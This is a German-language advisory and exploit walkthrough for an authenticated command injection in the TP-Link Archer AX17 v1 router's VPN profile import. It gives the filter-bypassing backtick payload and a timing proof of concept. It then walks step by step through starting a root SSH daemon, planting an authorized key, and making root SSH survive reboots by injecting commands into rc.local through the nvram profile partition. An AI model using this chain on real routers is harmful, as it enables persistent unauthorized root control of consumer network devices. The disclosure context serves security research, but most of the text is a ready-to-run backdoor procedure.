
Authentifizierte OS-Befehlsinjektion im VPN-Client-Import des TP-Link Archer AX17 v1.
Authentifizierte OS-Befehlsinjektion beim Import des VPN-Clients des Archer AX17 v1.
Ein Administrator im LAN importiert ein OpenVPN-Clientprofil. Die Profilbeschreibung wird als Dateiname /etc/openvpn/<des>.ovpn gespeichert. Beim Lesen dieses Profils wird der Pfad in /tmp/ovpn_curr_edit geschrieben. Der nächste VPN-Schreibvorgang, ohne dass ein Upload bereitgestellt wurde, übergibt diesen Pfad unquotiert an grep und sed, die der Webserver als root ausführt.
Der Beschreibungsfilter weist /, ;, | und Leerzeichen zurück und begrenzt die Zeichenkette auf 64 Zeichen. Backticks werden durchgelassen, daher lautet die Payload S`sleep${IFS}1`. ${IFS} ist der Weg, wie der Befehl sein Leerzeichen erhält.
| Betroffen | Archer AX17 v1, Firmware 1.1.28 P1 [20250523-rel65103], und Builds vor dem Fix |
| Behoben | 1.5.0 Build 20260605 |
| Zugriff | Admin-Sitzung im LAN. Vor dem Login nicht erreichbar. |
| Auswirkung | Root-Befehlsausführung |
poc.js ein.await poc(0) und dann await poc(1) aus.poc(0) kehrt in wenigen hundert Millisekunden zurück. poc(1) dauert etwa eine Sekunde länger. Diese Lücke ist sleep 1, das als root läuft. Das Skript löscht das von ihm erstellte Profil.
Getestet auf 1.1.28. poc(1) dauerte 1238 ms, poc(3) 3504 ms, poc(7) 7204 ms, gegenüber einer Kontrolle von 324 ms.
Die Injektion läuft als root und kann daher dropbear starten. Zwei Dinge sind bei diesem Build wichtig:
-L („Enable SSH session login“) ist erforderlich. Ohne diese Option authentifiziert dropbear und beantwortet dann jede Shell-Anfrage mit exec request failed./etc ist ein ramfs. rc.local, /etc/shadow und /etc/dropbear/authorized_keys werden bei jedem Boot aus dem squashfs neu aufgebaut. Nur die nvram-Partitionen bleiben erhalten.Das teilt es in eine temporäre und eine permanente Methode auf.
ssh-temp.js enthält zwei Aufrufe:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() startet dropbear im Web-Konto-Modus. Melden Sie sich mit dem Admin-Passwort des Routers an:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
Diese Shell hat uid 1000 (admin), nicht root, und kann nicht nach /etc schreiben. Zur Eskalation stellen Sie ssh-root.sh unter /tmp/r darüber bereit:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Rufen Sie dann runStaged('r') aus der Konsole auf. Die Injektion führt das Skript als uid 0 aus, schreibt /etc/dropbear/authorized_keys und startet dropbear -L -p 2227. (runStaged baut /tmp/<name> aus ${PWD%www}, weil das Arbeitsverzeichnis des Web-Backends /www ist.) Verbinden Sie sich:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
Dies bleibt bis zum nächsten Neustart bestehen.
Führen Sie ssh-persist.sh als root aus (z. B. über die temporäre Root-Shell). Es hängt ein rc.local an die nvram-Partition profile an. S10boot stellt diese Partition vor dem Ausführen von S95done nach /etc wieder her, das wiederum /etc/rc.local ausführt, sodass die Befehle bei jedem Boot laufen.
Die Partition ist ein verschlüsseltes, zeilenorientiertes uci-XML. <dir> erstellt /etc/<dir>, <file> erstellt /etc/<dir>/<file>, und ein Tag-Name wird wörtlich nach option geschrieben. Ein Tag, der mit ; beginnt, landet daher in rc.local als
option ;<command> # 'x'
was <command> als root ausführt. Das Skript bewahrt den Herstellerblock profile.d und schreibt:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
Nach einem Neustart ist Root-SSH auf Port 22 mit demselben Schlüssel verfügbar. Sichern Sie die Partition zuerst; das Skript gibt den Sicherungspfad und den Wiederherstellungsbefehl aus.
Hinweis: chpasswd existiert auf dieser Firmware nicht. Versuchen Sie nicht, damit ein Root-Passwort zu setzen; verwenden Sie authorized_keys (wie oben) oder passwd.